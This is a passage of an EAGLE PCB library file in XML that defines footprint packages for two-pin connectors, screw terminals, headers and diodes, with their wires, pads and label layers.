width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.1\" y1=\"3\" x2=\"4.2\" y2=\"3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.2\" y1=\"3\" x2=\"4.2\" y2=\"2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.1\" y1=\"3\" x2=\"-4.1\" y2=\"2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-2.1\" x2=\"4.2\" y2=\"-2.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.2\" y1=\"-2.1\" x2=\"4.2\" y2=\"-1.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-2.1\" x2=\"-4.1\" y2=\"-2.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.1\" y1=\"-2.1\" x2=\"-4.1\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-3.4\" y=\"0.27\" dx=\"3\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"3.4\" y=\"0.27\" dx=\"3\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"VCC\" x=\"-1\" y=\"-2\" dx=\"1\" dy=\"5.5\" layer=\"1\"/>\n<smd name=\"GND\" x=\"1\" y=\"-2\" dx=\"1\" dy=\"5.5\" layer=\"1\"/>\n<text x=\"2.54\" y=\"-5.08\" size=\"1.27\" layer=\"25\">&gt;Name</text>\n<text x=\"2.24\" y=\"3.48\" size=\"1.27\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"R_SW_TH\">\n<wire x1=\"-1.651\" y1=\"19.2532\" x2=\"-1.651\" y2=\"-1.3716\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.651\" y1=\"-1.3716\" x2=\"-1.651\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.651\" y1=\"19.2532\" x2=\"13.589\" y2=\"19.2532\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.589\" y1=\"19.2532\" x2=\"13.589\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.589\" y1=\"-2.2352\" x2=\"-1.651\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"0\" y=\"0\" drill=\"1.6002\"/>\n<pad name=\"P$2\" x=\"0\" y=\"16.9926\" drill=\"1.6002\"/>\n<pad name=\"P$3\" x=\"12.0904\" y=\"15.494\" drill=\"1.6002\"/>\n<pad name=\"P$4\" x=\"12.0904\" y=\"8.4582\" drill=\"1.6002\"/>\n</package>\n<package name=\"SCREWTERMINAL-5MM-2\">\n<wire x1=\"-3.1\" y1=\"4.2\" x2=\"8.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"4.2\" x2=\"8.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.3\" x2=\"8.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-2.35\" x2=\"-3.1\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.1\" y1=\"4\" x2=\"8.7\" y2=\"4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.7\" y1=\"4\" x2=\"8.7\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.7\" y1=\"3\" x2=\"8.1\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2.5\" y=\"3.7\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.3\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"5\" y=\"0\" drill=\"1.3\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X02_LOCK\">\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.1778\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.7178\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X2_LOCK\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"3.81\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.27\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"1X02_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.651\" y1=\"0\" x2=\"0.889\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.9906\" x2=\"-0.9906\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.9906\" x2=\"-0.9906\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.556\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.9906\" x2=\"3.5306\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.9906\" x2=\"3.5306\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2_LOCK\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.4318\" width=\"0.0254\" layer=\"51\"/>\n<circle x=\"3.5\" y=\"0\" radius=\"0.4318\" width=\"0.0254\" layer=\"51\"/>\n<pad name=\"1\" x=\"-0.1778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.6778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X02_LONGPADS\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n</package>\n<package name=\"1X02_NO_SILK\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"JST-2-PTH\">\n<wire x1=\"-2\" y1=\"0\" x2=\"-2\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-1.8\" x2=\"-3\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3\" y1=\"-1.8\" x2=\"-3\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3\" y1=\"6\" x2=\"3\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3\" y1=\"6\" x2=\"3\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3\" y1=\"-1.8\" x2=\"2\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-1.8\" x2=\"2\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<pad name=\"2\" x=\"1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<text x=\"-1.27\" y=\"5.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"4\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"0.6\" y=\"0.7\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-1.4\" y=\"0.7\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"1X02_XTRA_BIG\">\n<wire x1=\"-5.08\" y1=\"2.54\" x2=\"-5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-2.54\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-2.54\" x2=\"5.08\" y2=\"2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"2.54\" x2=\"-5.08\" y2=\"2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"2.0574\" diameter=\"3.556\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"2.0574\" diameter=\"3.556\"/>\n</package>\n<package name=\"1X02_PP_HOLES_ONLY\">\n<circle x=\"0\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.889\" diameter=\"0.8128\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.889\" diameter=\"0.8128\" rot=\"R90\"/>\n<hole x=\"0\" y=\"0\" drill=\"1.4732\"/>\n<hole x=\"2.54\" y=\"0\" drill=\"1.4732\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2-NS\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"JST-2-PTH-NS\">\n<wire x1=\"-2\" y1=\"0\" x2=\"-2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2\" y1=\"-1.8\" x2=\"-3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"-1.8\" x2=\"-3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"6\" x2=\"3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"6\" x2=\"3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"-1.8\" x2=\"2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2\" y1=\"-1.8\" x2=\"2\" y2=\"0\" width=\"0.2032\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<pad name=\"2\" x=\"1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<text x=\"-1.27\" y=\"5.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"4\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"0.6\" y=\"0.7\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-1.4\" y=\"0.7\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"SMA-DIODE\">\n<description>&lt;B&gt;Diode&lt;/B&gt;&lt;p&gt;\nBasic SMA packaged diode. Good for reverse polarization protection. Common part #: MBRA140</description>\n<wire x1=\"-2.3\" y1=\"1\" x2=\"-2.3\" y2=\"1.45\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"1.45\" x2=\"2.3\" y2=\"1.45\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"1.45\" x2=\"2.3\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"-1\" x2=\"2.3\" y2=\"-1.45\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"-1.45\" x2=\"-2.3\" y2=\"-1.45\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.45\" x2=\"-2.3\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1\" y1=\"1\" x2=\"1\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"A\" x=\"-2.15\" y=\"0\" dx=\"1.27\" dy=\"1.47\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"C\" x=\"2.15\" y=\"0\" dx=\"1.27\" dy=\"1.47\" layer=\"1\"/>\n<text x=\"-2.286\" y=\"1.651\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"0.254\" y=\"1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"DIODE-1N4001\">\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"1.905\" y2=\"1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"-3.175\" y2=\"1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"1.27\" x2=\"-3.175\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.175\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"3.175\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"3.175\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"0\" x2=\"3.175\" y2=\"1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.175\" y1=\"0\" x2=\"-3.81\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"0\" x2=\"3.81\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"A\" x=\"-5.08\" y=\"0\" drill=\"1\" diameter=\"1.9812\"/>\n<pad name=\"C\" x=\"5.08\" y=\"0\" drill=\"1\" diameter=\"1.9812\"/>\n<text x=\"-2.921\" y=\"1.651\" size=\"0.6096\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.921\" y=\"-0.508\" size=\"1.016\" layer=\"21\" ratio=\"12\">&gt;Value</text>\n</package>\n<package name=\"SOD-323\">\n<wire x1=\"-0.9\" y1=\"0.65\" x2=\"-0.5\" y2=\"0.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.5\" y1=\"0.65\" x2=\"0.9\" y2=\"0.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.9\" y1=\"-0.65\" x2=\"-0.5\" y2=\"-0.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.5\" y1=\"-0.65\" x2=\"0.9\" y2=\"-0.65\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.5\" y1=\"0.65\" x2=\"-0.5\" y2=\"-0.65\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"0\" dx=\"0.63\" dy=\"0.83\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.15\" y=\"0\" dx=\"0.63\" dy=\"0.83\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"1.016\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.397\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"SOT23-3\">\n<wire x1=\"1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0.7\" x2=\"-1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.4\" y1=\"0.7\" x2=\"-1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"0.7\" x2=\"1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.4\" y1=\"0.7\" x2=\"1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"3\" x=\"0\" y=\"1.1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.8255\" y=\"1.778\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-0.1905\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"DIODE-1N4148\">\n<wire x1=\"-2.54\" y1=\"0.762\" x2=\"2.54\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"0.762\" x2=\"2.54\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.54\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.762\" x2=\"-2.54\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.762\" x2=\"-2.54\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.54\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.794\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.794\" y2=\"0\" 